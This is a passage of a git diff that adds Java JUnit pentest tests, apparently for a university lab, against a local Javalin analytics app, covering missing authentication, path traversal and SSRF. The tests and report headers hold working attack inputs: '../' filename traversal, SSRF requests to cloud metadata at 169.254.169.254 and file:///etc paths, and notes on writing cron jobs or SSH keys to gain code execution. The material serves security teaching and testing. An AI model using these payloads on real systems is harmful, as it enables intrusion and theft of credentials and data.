+ "/inactiveUsers?days=2147483647");
+
+ assertEquals(200, response.statusCode(),
+ "Экстремально большое значение days принимается без ограничений");
+ }
+
+ // -------------------------------------------------------------------------
+ // BOUNDARY: проверяем что базовая валидация формата работает
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(9)
+ @DisplayName("[BOUNDARY] Нечисловой days возвращает 400")
+ void nonNumericDaysReturns400() throws Exception {
+ HttpResponse response = send("GET",
+ "/inactiveUsers?days=abc");
+
+ assertEquals(400, response.statusCode(),
+ "Формат числа валидируется (но не диапазон)");
+ }
+
+ @Test
+ @Order(10)
+ @DisplayName("[BOUNDARY] Некорректный формат даты возвращает 400")
+ void invalidDateFormatReturns400() throws Exception {
+ HttpResponse response = send("POST",
+ "/recordSession?userId=iv_user1&loginTime=not-a-date&logoutTime=2025-01-01T10:00:00");
+
+ assertEquals(400, response.statusCode(),
+ "Формат даты валидируется (но не логическое соотношение loginTime/logoutTime)");
+ }
+
+ @Test
+ @Order(11)
+ @DisplayName("[BOUNDARY] null-параметры (отсутствующие) валидируются корректно")
+ void missingParamsValidated() throws Exception {
+ HttpResponse registerResp = send("POST", "/register");
+ assertEquals(400, registerResp.statusCode());
+
+ HttpResponse sessionResp = send("POST", "/recordSession");
+ assertEquals(400, sessionResp.statusCode());
+
+ HttpResponse inactiveResp = send("GET", "/inactiveUsers");
+ assertEquals(400, inactiveResp.statusCode());
+ }
+
+ // -------------------------------------------------------------------------
+ // Вспомогательные методы
+ // -------------------------------------------------------------------------
+
+ private static String enc(String value) {
+ return URLEncoder.encode(value, StandardCharsets.UTF_8);
+ }
+
+ private static HttpResponse send(String method, String path) throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + path))
+ .method(method, HttpRequest.BodyPublishers.noBody())
+ .build();
+ return http.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java
new file mode 100644
index 0000000..5dabb59
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/MissingAuthPentestTest.java
@@ -0,0 +1,218 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-306 — Missing Authentication for Critical Function
+ * =============================================================================
+ *
+ * Компонент: Все эндпоинты приложения
+ * CWE: CWE-306 (Missing Authentication for Critical Function)
+ * CVSS v3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ * Статус: CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ * Приложение не имеет никакого механизма аутентификации или авторизации.
+ * Любой анонимный пользователь может выполнить любую операцию: просмотреть
+ * профиль другого пользователя, экспортировать его отчёт, записать ему сессию,
+ * отправить уведомление от его имени. Отсутствуют токены, сессии, API-ключи.
+ *
+ * ВЕКТОР АТАКИ:
+ * 1. Жертва: POST /register?userId=victim&userName=Alice
+ * 2. Атакующий (без аутентификации):
+ * - GET /userProfile?userId=victim → профиль жертвы
+ * - GET /exportReport?userId=victim&filename=stolen.txt → отчёт жертвы
+ * - POST /recordSession?userId=victim&loginTime=...&logoutTime=... → поддельная сессия
+ *
+ * ВЛИЯНИЕ:
+ * - Несанкционированный доступ к данным всех пользователей
+ * - Модификация данных любого пользователя
+ * - Нарушение конфиденциальности, целостности и доступности
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ * - Внедрить аутентификацию: JWT, OAuth2 или API-ключи
+ * - Добавить middleware Javalin для проверки токена
+ * - Реализовать авторизацию: пользователь видит/изменяет только свои данные
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class MissingAuthPentestTest {
+
+ private static final int TEST_PORT = 7781;
+ private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+ private static Javalin app;
+ private static HttpClient http;
+
+ @BeforeAll
+ static void startServer() throws Exception {
+ app = UserAnalyticsController.createApp();
+ app.start(TEST_PORT);
+ http = HttpClient.newHttpClient();
+ }
+
+ @AfterAll
+ static void stopServer() {
+ app.stop();
+ }
+
+ // -------------------------------------------------------------------------
+ // RECON: проверяем отсутствие заголовков аутентификации
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(1)
+ @DisplayName("[RECON] Регистрация не требует аутентификации")
+ void registerRequiresNoAuth() throws Exception {
+ HttpResponse response = send("POST",
+ "/register?userId=victim&userName=VictimUser");
+
+ assertEquals(200, response.statusCode(),
+ "Регистрация выполняется без каких-либо токенов или заголовков аутентификации");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: доступ к чужим данным без аутентификации
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(2)
+ @DisplayName("[EXPLOIT] Анонимный доступ к профилю другого пользователя")
+ void anonymousAccessToUserProfile() throws Exception {
+ HttpResponse response = send("GET",
+ "/userProfile?userId=victim");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: анонимный доступ к профилю пользователя без аутентификации");
+ assertTrue(response.body().contains("VictimUser"),
+ "Данные жертвы (имя) доступны без авторизации");
+ }
+
+ @Test
+ @Order(3)
+ @DisplayName("[EXPLOIT] Анонимный просмотр активности другого пользователя")
+ void anonymousAccessToTotalActivity() throws Exception {
+ HttpResponse response = send("GET",
+ "/totalActivity?userId=victim");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: данные об активности жертвы доступны без аутентификации");
+ assertTrue(response.body().contains("Total activity"),
+ "Метрики активности раскрыты анонимному пользователю");
+ }
+
+ @Test
+ @Order(4)
+ @DisplayName("[EXPLOIT] Анонимная запись сессии от имени другого пользователя")
+ void anonymousRecordSessionForOtherUser() throws Exception {
+ HttpResponse response = send("POST",
+ "/recordSession?userId=victim&loginTime=2025-01-01T10:00:00&logoutTime=2025-01-01T11:00:00");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: атакующий может записывать фиктивные сессии от имени жертвы");
+ assertTrue(response.body().contains("Session recorded"),
+ "Поддельная сессия успешно записана без аутентификации");
+ }
+
+ @Test
+ @Order(5)
+ @DisplayName("[EXPLOIT] Анонимный экспорт отчёта другого пользователя")
+ void anonymousExportReportForOtherUser() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=victim&filename=stolen_report.txt");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: отчёт жертвы экспортирован анонимным пользователем");
+ assertTrue(response.body().contains("Report saved"),
+ "Отчёт с данными жертвы записан на сервер без авторизации");
+ }
+
+ @Test
+ @Order(6)
+ @DisplayName("[EXPLOIT] Перечисление пользователей через /inactiveUsers без аутентификации")
+ void anonymousUserEnumeration() throws Exception {
+ HttpResponse response = send("GET",
+ "/inactiveUsers?days=0");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: список пользователей доступен без аутентификации");
+ }
+
+ @Test
+ @Order(7)
+ @DisplayName("[EXPLOIT] Отсутствие заголовка Authorization не влияет на доступ")
+ void noAuthorizationHeaderRequired() throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + "/userProfile?userId=victim"))
+ .GET()
+ .build();
+ HttpResponse response = http.send(request, HttpResponse.BodyHandlers.ofString());
+
+ assertEquals(200, response.statusCode(),
+ "Запрос без заголовка Authorization успешно обрабатывается");
+
+ HttpRequest requestWithFakeAuth = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + "/userProfile?userId=victim"))
+ .header("Authorization", "Bearer invalid_token_12345")
+ .GET()
+ .build();
+ HttpResponse responseWithFakeAuth = http.send(requestWithFakeAuth,
+ HttpResponse.BodyHandlers.ofString());
+
+ assertEquals(200, responseWithFakeAuth.statusCode(),
+ "Даже поддельный токен не вызывает ошибку — аутентификация полностью отсутствует");
+ }
+
+ // -------------------------------------------------------------------------
+ // BOUNDARY: проверяем, что ошибки валидации работают (но не заменяют auth)
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(8)
+ @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404 (не 401)")
+ void nonExistentUserReturns404Not401() throws Exception {
+ HttpResponse response = send("GET",
+ "/userProfile?userId=nonexistent");
+
+ assertEquals(404, response.statusCode(),
+ "Несуществующий userId возвращает 404, а не 401 — отсутствует слой аутентификации");
+ }
+
+ @Test
+ @Order(9)
+ @DisplayName("[BOUNDARY] Отсутствие параметров возвращает 400 (не 401)")
+ void missingParamsReturns400Not401() throws Exception {
+ HttpResponse response = send("GET", "/userProfile");
+
+ assertEquals(400, response.statusCode(),
+ "Отсутствие параметров возвращает 400, а не 401 — валидация параметров есть, аутентификации нет");
+ }
+
+ // -------------------------------------------------------------------------
+ // Вспомогательные методы
+ // -------------------------------------------------------------------------
+
+ private static String enc(String value) {
+ return URLEncoder.encode(value, StandardCharsets.UTF_8);
+ }
+
+ private static HttpResponse send(String method, String path) throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + path))
+ .method(method, HttpRequest.BodyPublishers.noBody())
+ .build();
+ return http.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
new file mode 100644
index 0000000..9c6aa26
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
@@ -0,0 +1,204 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.io.File;
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-22 — Path Traversal
+ * =============================================================================
+ *
+ * Компонент: GET /exportReport
+ * CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
+ * CVSS v3.1: 8.2 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
+ * Статус: CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ * Эндпоинт /exportReport принимает параметр filename и конкатенирует его
+ * с базовым путём /tmp/reports/ без валидации: new File(REPORTS_BASE_DIR + filename).
+ * Атакующий может использовать последовательности ../ для записи файлов
+ * в произвольные директории файловой системы.
+ *
+ * ВЕКТОР АТАКИ:
+ * 1. POST /register?userId=user1&userName=Alice
+ * 2. GET /exportReport?userId=user1&filename=../../tmp/evil.txt
+ * → файл записан в /tmp/evil.txt вместо /tmp/reports/
+ *
+ * ВЛИЯНИЕ:
+ * - Перезапись конфигурационных файлов сервера
+ * - Запись cron-задач для выполнения произвольного кода (RCE)
+ * - Запись SSH-ключей для получения удалённого доступа
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ * - Валидировать filename: запретить символы /, \, ..
+ * - Использовать Path.resolve().normalize() и проверять startsWith(baseDir)
+ * - Ограничить имя файла регулярным выражением: [a-zA-Z0-9_.-]+
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class PathTraversalPentestTest {
+
+ private static final int TEST_PORT = 7778;
+ private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+ private static final String REPORTS_BASE_DIR = "/tmp/reports/";
+
+ private static Javalin app;
+ private static HttpClient http;
+
+ @BeforeAll
+ static void startServer() throws Exception {
+ app = UserAnalyticsController.createApp();
+ app.start(TEST_PORT);
+ http = HttpClient.newHttpClient();
+
+ send("POST", "/register?userId=pt_user&userName=TraversalTest");
+ }
+
+ @AfterAll
+ static void stopServer() {
+ app.stop();
+ cleanup();
+ }
+
+ private static void cleanup() {
+ new File(REPORTS_BASE_DIR + "normal_report.txt").delete();
+ new File("/tmp/traversal_test.txt").delete();
+ new File(REPORTS_BASE_DIR).delete();
+ }
+
+ // -------------------------------------------------------------------------
+ // RECONNAISSANCE: проверяем, что эндпоинт работает и записывает файлы
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(1)
+ @DisplayName("[RECON] /exportReport создаёт файл в базовой директории")
+ void exportReportCreatesFile() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user&filename=normal_report.txt");
+
+ assertEquals(200, response.statusCode());
+ assertTrue(response.body().contains("Report saved to:"),
+ "Ответ должен подтвердить сохранение файла");
+ assertTrue(response.body().contains("/tmp/reports/normal_report.txt"),
+ "Файл должен быть в базовой директории /tmp/reports/");
+ }
+
+ @Test
+ @Order(2)
+ @DisplayName("[RECON] Ответ раскрывает полный путь к созданному файлу")
+ void responseRevealsFullPath() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user&filename=normal_report.txt");
+
+ assertTrue(response.body().contains("/tmp/reports/"),
+ "Ответ содержит абсолютный путь файловой системы — information disclosure");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: Path Traversal через ../
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(3)
+ @DisplayName("[EXPLOIT] Последовательность ../ позволяет выйти за пределы базовой директории")
+ void pathTraversalWithDotDot() throws Exception {
+ String maliciousFilename = "../../tmp/traversal_test.txt";
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user&filename=" + enc(maliciousFilename));
+
+ assertEquals(200, response.statusCode());
+
+ assertTrue(response.body().contains("/tmp/reports/../../tmp/traversal_test.txt"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер принял путь с ../ без валидации");
+
+ File traversedFile = new File("/tmp/traversal_test.txt");
+ assertTrue(traversedFile.exists(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: файл создан за пределами базовой директории");
+ }
+
+ @Test
+ @Order(4)
+ @DisplayName("[EXPLOIT] Содержимое файла при Path Traversal содержит данные пользователя")
+ void traversedFileContainsUserData() throws Exception {
+ File traversedFile = new File("/tmp/traversal_test.txt");
+ if (traversedFile.exists()) {
+ String content = Files.readString(traversedFile.toPath());
+ assertTrue(content.contains("TraversalTest"),
+ "Файл за пределами базовой директории содержит данные пользователя");
+ }
+ }
+
+ @Test
+ @Order(5)
+ @DisplayName("[EXPLOIT] filename с абсолютным путём обходит базовую директорию")
+ void absolutePathBypass() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user&filename=" + enc("/tmp/absolute_test.txt"));
+
+ assertEquals(200, response.statusCode());
+ // new File("/tmp/reports/" + "/tmp/absolute_test.txt") — Java интерпретирует это по-разному на разных ОС
+ }
+
+ // -------------------------------------------------------------------------
+ // BOUNDARY: проверяем граничные случаи
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(6)
+ @DisplayName("[BOUNDARY] Отсутствие параметра filename возвращает 400")
+ void missingFilenameReturns400() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=pt_user");
+
+ assertEquals(400, response.statusCode());
+ }
+
+ @Test
+ @Order(7)
+ @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404")
+ void unknownUserReturns404() throws Exception {
+ HttpResponse response = send("GET",
+ "/exportReport?userId=nobody&filename=test.txt");
+
+ assertEquals(404, response.statusCode());
+ }
+
+ @Test
+ @Order(8)
+ @DisplayName("[BOUNDARY] Отсутствие обоих параметров возвращает 400")
+ void missingAllParamsReturns400() throws Exception {
+ HttpResponse response = send("GET", "/exportReport");
+
+ assertEquals(400, response.statusCode());
+ }
+
+ // -------------------------------------------------------------------------
+ // Вспомогательные методы
+ // -------------------------------------------------------------------------
+
+ private static String enc(String value) {
+ return URLEncoder.encode(value, StandardCharsets.UTF_8);
+ }
+
+ private static HttpResponse send(String method, String path) throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + path))
+ .method(method, HttpRequest.BodyPublishers.noBody())
+ .build();
+ return http.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java
new file mode 100644
index 0000000..8ee5c90
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java
@@ -0,0 +1,213 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-918 — Server-Side Request Forgery (SSRF)
+ * =============================================================================
+ *
+ * Компонент: POST /notify
+ * CWE: CWE-918 (Server-Side Request Forgery)
+ * CVSS v3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ * Статус: CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ * Эндпоинт /notify принимает параметр callbackUrl и выполняет HTTP-запрос
+ * к этому URL без какой-либо валидации: new URL(callbackUrl).openConnection().
+ * Ответ от запрошенного URL возвращается клиенту. Атакующий может использовать
+ * сервер как прокси для доступа к внутренним ресурсам, облачным метаданным
+ * или локальным файлам.
+ *
+ * ВЕКТОР АТАКИ:
+ * 1. POST /register?userId=user1&userName=Alice
+ * 2. POST /notify?userId=user1&callbackUrl=http://169.254.169.254/latest/meta-data/
+ * → сервер выполняет запрос к AWS metadata и возвращает ответ атакующему
+ * 3. POST /notify?userId=user1&callbackUrl=file:///etc/passwd
+ * → сервер может прочитать и вернуть локальный файл
+ *
+ * ВЛИЯНИЕ:
+ * - Доступ к метаданным облачного провайдера (IAM credentials)
+ * - Сканирование внутренней сети и портов
+ * - Чтение локальных файлов через file:// протокол
+ * - Обход файрвола и сетевых политик
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ * - Белый список разрешённых доменов
+ * - Разрешить только https:// схему
+ * - Блокировать приватные IP-диапазоны (127/8, 10/8, 172.16/12, 192.168/16, 169.254/16)
+ * - DNS-резолвинг и проверка IP перед соединением
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class SsrfPentestTest {
+
+ private static final int TEST_PORT = 7779;
+ private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+ private static Javalin app;
+ private static HttpClient http;
+
+ @BeforeAll
+ static void startServer() throws Exception {
+ app = UserAnalyticsController.createApp();
+ app.start(TEST_PORT);
+ http = HttpClient.newHttpClient();
+
+ send("POST", "/register?userId=ssrf_user&userName=SsrfTest");
+ }
+
+ @AfterAll
+ static void stopServer() {
+ app.stop();
+ }
+
+ // -------------------------------------------------------------------------
+ // RECONNAISSANCE: проверяем базовое поведение /notify
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(1)
+ @DisplayName("[RECON] /notify принимает callbackUrl и выполняет запрос")
+ void notifyAcceptsCallbackUrl() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://example.com"));
+
+ // Сервер должен попытаться выполнить запрос
+ // Результат: либо 200 с ответом, либо 500 при ошибке соединения
+ assertTrue(response.statusCode() == 200 || response.statusCode() == 500,
+ "Сервер пытается выполнить HTTP-запрос к произвольному URL");
+ }
+
+ @Test
+ @Order(2)
+ @DisplayName("[RECON] Ответ от внешнего URL возвращается клиенту")
+ void responseFromExternalUrlReturnedToClient() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://example.com"));
+
+ if (response.statusCode() == 200) {
+ assertTrue(response.body().contains("Notification sent. Response:"),
+ "Тело ответа от callbackUrl возвращается клиенту — данные утекают");
+ }
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: доступ к внутренним ресурсам
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(3)
+ @DisplayName("[EXPLOIT] Запрос к localhost (127.0.0.1) не блокируется")
+ void localhostNotBlocked() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://127.0.0.1:" + TEST_PORT + "/totalActivity?userId=ssrf_user"));
+
+ // Сервер выполняет запрос к самому себе — SSRF подтверждён
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сервер выполнил запрос к localhost без ограничений");
+ assertTrue(response.body().contains("Total activity"),
+ "Ответ от внутреннего эндпоинта возвращён атакующему");
+ }
+
+ @Test
+ @Order(4)
+ @DisplayName("[EXPLOIT] Запрос к 0.0.0.0 не блокируется")
+ void zeroAddressNotBlocked() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://0.0.0.0:" + TEST_PORT + "/totalActivity?userId=ssrf_user"));
+
+ // 200 = SSRF работает, 500 = соединение не удалось (зависит от ОС)
+ assertTrue(response.statusCode() == 200 || response.statusCode() == 500,
+ "Сервер пытается соединиться с 0.0.0.0 — приватные адреса не фильтруются");
+ }
+
+ @Test
+ @Order(5)
+ @DisplayName("[EXPLOIT] Протокол file:// не блокируется")
+ void fileProtocolNotBlocked() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("file:///etc/hostname"));
+
+ // Сервер пытается прочитать файл — не блокирует file://
+ assertTrue(response.statusCode() == 200 || response.statusCode() == 500,
+ "Протокол file:// не заблокирован — потенциальное чтение локальных файлов");
+
+ if (response.statusCode() == 500) {
+ assertTrue(response.body().contains("Notification failed"),
+ "Даже ошибка при file:// означает, что протокол не отфильтрован на уровне валидации");
+ }
+ }
+
+ @Test
+ @Order(6)
+ @DisplayName("[EXPLOIT] Запрос к метаданным облака (169.254.169.254) не блокируется")
+ void cloudMetadataNotBlocked() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user&callbackUrl=" + enc("http://169.254.169.254/latest/meta-data/"));
+
+ // Мы не ожидаем ответа 200 (нет реального cloud metadata), но важно, что запрос не заблокирован
+ assertTrue(response.statusCode() == 200 || response.statusCode() == 500,
+ "Адрес 169.254.169.254 не заблокирован — в облачной среде это раскроет IAM-токены");
+ }
+
+ // -------------------------------------------------------------------------
+ // BOUNDARY: проверяем граничные случаи
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(7)
+ @DisplayName("[BOUNDARY] Отсутствие callbackUrl возвращает 400")
+ void missingCallbackUrlReturns400() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=ssrf_user");
+
+ assertEquals(400, response.statusCode());
+ }
+
+ @Test
+ @Order(8)
+ @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404")
+ void unknownUserReturns404() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=nobody&callbackUrl=" + enc("http://example.com"));
+
+ assertEquals(404, response.statusCode());
+ }
+
+ @Test
+ @Order(9)
+ @DisplayName("[BOUNDARY] Отсутствие обоих параметров возвращает 400")
+ void missingAllParamsReturns400() throws Exception {
+ HttpResponse response = send("POST", "/notify");
+
+ assertEquals(400, response.statusCode());
+ }
+
+ // -------------------------------------------------------------------------
+ // Вспомогательные методы
+ // -------------------------------------------------------------------------
+
+ private static String enc(String value) {
+ return URLEncoder.encode(value, StandardCharsets.UTF_8);
+ }
+
+ private static HttpResponse send(String method, String path) throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + path))
+ .method(method, HttpRequest.BodyPublishers.noBody())
+ .build();
+ return http.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+}